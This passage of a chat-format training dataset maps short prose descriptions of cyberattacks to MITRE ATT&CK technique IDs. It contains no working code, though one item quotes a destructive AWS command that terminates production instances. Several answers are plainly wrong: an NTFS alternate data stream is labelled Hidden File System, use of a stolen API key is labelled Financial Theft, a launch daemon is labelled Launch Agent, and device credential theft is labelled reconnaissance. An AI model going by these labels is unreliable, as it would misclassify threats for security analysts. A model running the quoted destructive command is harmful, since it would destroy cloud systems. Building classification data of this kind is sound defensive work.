                "role": "user",
                "content": "The attacker creates a scheduled task that calls Verclsid.exe with a payload argument, leveraging the System Binary Proxy Execution method."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider disabled logging in a Kubernetes cluster by altering the fluentd configuration."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware aggregates collected credentials into a proprietary .creds archive before transmitting to C2."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive Collected Data: Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code performs token impersonation by duplicating a valid Kerberos ticket and using it to access restricted resources."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A low‑privilege user exploits permissive file permissions on a critical service executable, overwrites it with malware, and restarts the service to gain elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware gathers collected credentials and stores them in a temporary directory on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker crafts a Word template (.dotx) with an embedded macro that runs a reverse shell whenever Office starts, leveraging the Office Application Startup technique."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies a system service's permissions or configures a scheduled task to run with SYSTEM privileges, enabling malicious code execution with elevated rights."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors accessed a shared network drive using stolen credentials to harvest spreadsheet files."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes PowerShell to convert binary data to a hex string before sending it via HTTP."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker retrieves mail archives located in the AppData\\Local\\Microsoft\\Outlook folder."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses launchctl unload to replace a legitimate launch daemon with a malicious one."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider runs the \"aws ec2 terminate-instances\" command via the AWS CLI to shut down production instances."
            },
            {
                "role": "assistant",
                "content": "T1651 - Cloud Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals use a Facebook Messenger conversation to deliver a phishing link that leads to a credential harvesting site."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group performs mass cloning of open repositories to search for SSH private keys."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a web application's sign‑in API, the attacker creates a flood of MFA push notifications to the victim’s phone, attempting a fatigue attack."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is inserted into a product description field, causing the site to execute a script that redirects users to a phishing domain."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor utilizes the Remote Desktop Protocol (RDP) over port 3389 to spread to other workstations."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a custom accessibility service that launches a payload each time the \"Narrator\" feature is turned on."
            },
            {
                "role": "assistant",
                "content": "T1546.008 - Event Triggered Execution: Accessibility Features"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker stores the malicious code in an NTFS alternate data stream to conceal it from normal file listings."
            },
            {
                "role": "assistant",
                "content": "T1564.005 - Hide Artifacts: Hidden File System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code leverages a hidden Win32 window to host a malicious payload, ensuring the window is not listed in the task manager UI."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder gathers information about corporate staff by scraping the company's employee directory."
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Gather Victim Identity Information: Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a brute-force attack on RDP, the attacker obtained valid login credentials and established a remote desktop connection."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat extracts credentials by dumping the securityd service’s RAM."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload scans for window handles to map the victim's open applications."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary extracts a Kerberos service ticket from memory and reuses it to authenticate to a file server without needing the user's password."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Android app exploits a vulnerability in the system's permission manager to gain root access."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By tampering with SID-History, the attacker can have their token treated as if it belongs to a privileged group."
            },
            {
                "role": "assistant",
                "content": "T1134.005 - Access Token Manipulation: SID-History Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infection uses a local TCP socket bound to 127.0.0.1 for inter‑process communication between its loader and payload."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan uses the Windows API CheckRemoteDebuggerPresent to evade analysis."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages the \"netsh interface ip show address\" command to identify the external IP address used for outbound traffic."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker stages data on a compromised third‑party web server using HTTP PUT."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team leverages compromised Office 365 admin credentials to create a hidden mailbox account for persistence."
            },
            {
                "role": "assistant",
                "content": "T1585.003 - Establish Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the configuration of the host intrusion prevention system to whitelist malicious processes."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor injects a command via the Docker API to create and execute a backdoor inside an existing container."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit a misconfiguration to produce deceptive phishing detection alerts, diverting response resources."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder leverages the Azure portal to spin up a new subscription owner account for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑stealing tool copies saved Wi‑Fi passwords and VPN credentials from the victim's device for future use."
            },
            {
                "role": "assistant",
                "content": "T1589.001 - Gather Victim Identity Information: Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder modifies the trusted root store on the endpoint to include a malicious certificate, facilitating covert data exfiltration over HTTPS."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker compromised a web server's admin account, uploaded a PHP web shell through the file manager, and used it to execute arbitrary commands on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker adds a service principal to Google Cloud Platform with elevated privileges to maintain foothold."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker compresses and encrypts exfiltration data, then uploads it through a legitimate cloud storage service over HTTPS, bypassing typical C2 monitoring."
            },
            {
                "role": "assistant",
                "content": "T1048.001 - Exfiltration Over Alternative Protocol: Exfiltration Over Symmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages the macOS Keychain Daemon (securityd) to request and receive stored passwords without user interaction."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a macOS kernel extension, the attacker intercepts Gatekeeper's validation process to silently approve a malicious executable."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leveraged an out‑of‑date version of a database server with a known injection flaw to exfiltrate data and deploy a web shell."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Obtain Capabilities: Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion script calls the LsaEnumerateTrustedDomains function to discover trusts between the target domain and others."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a double-layered obfuscation: first base64 encoding, then reversible string rotation before execution."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary deployed a serverless function on IBM Cloud Functions that performed lateral movement by invoking other cloud services via API calls."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary copies a malicious script to \"setup.msi.bat\" to appear as a Windows installer while actually being a batch file."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary replaces the computer's BIOS firmware with a malicious version that installs a persistent backdoor before the operating system loads."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware intercepts and modifies Syslog messages before they are stored, hiding malicious activity from log analysis tools."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a compromised email service to reset the password of a target's Twitter account via the password recovery process."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor injects a rogue dynamic library into a privileged macOS service, leveraging the system's library loading mechanism to gain elevated code execution."
            },
            {
                "role": "assistant",
                "content": "T1574.004 - Hijack Execution Flow: Dylib Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages a compromised third‑party API key to access internal resources."
            },
            {
                "role": "assistant",
                "content": "T1657 - Financial Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leverages a compromised account to dump the contents of /etc/passwd and /etc/shadow for offline cracking."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy script was saved as \"notepad.exe\" in the %APPDATA% directory, masquerading as the Windows Notepad application."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware overwrites the bootloader payload to change system firmware."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers modify GPP XML files on domain controllers to embed malicious credentials that will be deployed to endpoints."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell script searches Chrome's SQLite password store and exfiltrates the saved login credentials to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware sample is discovered, using anti-debugging techniques to evade analysis."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injects false firewall alerts into the SIEM to mask malicious activity."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool scans the system's driver store to discover unsigned drivers."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker’s tool monitors for insertion of portable media and copies a malicious PowerShell script onto it, which runs when the user opens the drive."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious PowerShell code creates a symmetric encryption tunnel using RC4 to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary disables macOS Gatekeeper by modifying the com.apple.security.trust-settings.plist to allow unsigned applications to run."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During operation, the implant encrypts its beacon with a public key, ensuring only the holder of the corresponding private key can read it."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group disables PowerShell transcription by setting the \"EnableTranscripting\" policy to 0 via Group Policy, thereby impairing command history logs."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script reads cached credentials from the Windows Credential Manager."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT exploits a compromised IAM role to programmatically create a new VMware vSphere VM, loading ransomware payloads onto it."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged the AWS CLI to create and attach a new IAM policy that grants full administrative privileges to their compromised account."
            },
            {
                "role": "assistant",
                "content": "T1651 - Cloud Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor overwrites portions of a DLL with random garbage while preserving functional sections."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leverage a vulnerable CI/CD pipeline to inject a job that runs with elevated cloud credentials, granting temporary elevated access."
            },
            {
                "role": "assistant",
                "content": "T1548.005 - Abuse Elevation Control Mechanism: Temporary Elevated Cloud Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A zero‑day exploit was delivered via a malicious payload to a vulnerable PHP application exposed on the internet, granting the attacker remote system control."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries embed command instructions in public GitHub repository commits."
            },
            {
                "role": "assistant",
                "content": "T1567.001 - Exfiltration Over Web Service: Exfiltration to Code Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email contains a CHM attachment; when opened, it leverages the HTML Help viewer to execute an encoded PowerShell command via the svchost process."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors used a custom plugin to extract credentials from the 1Password vault."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
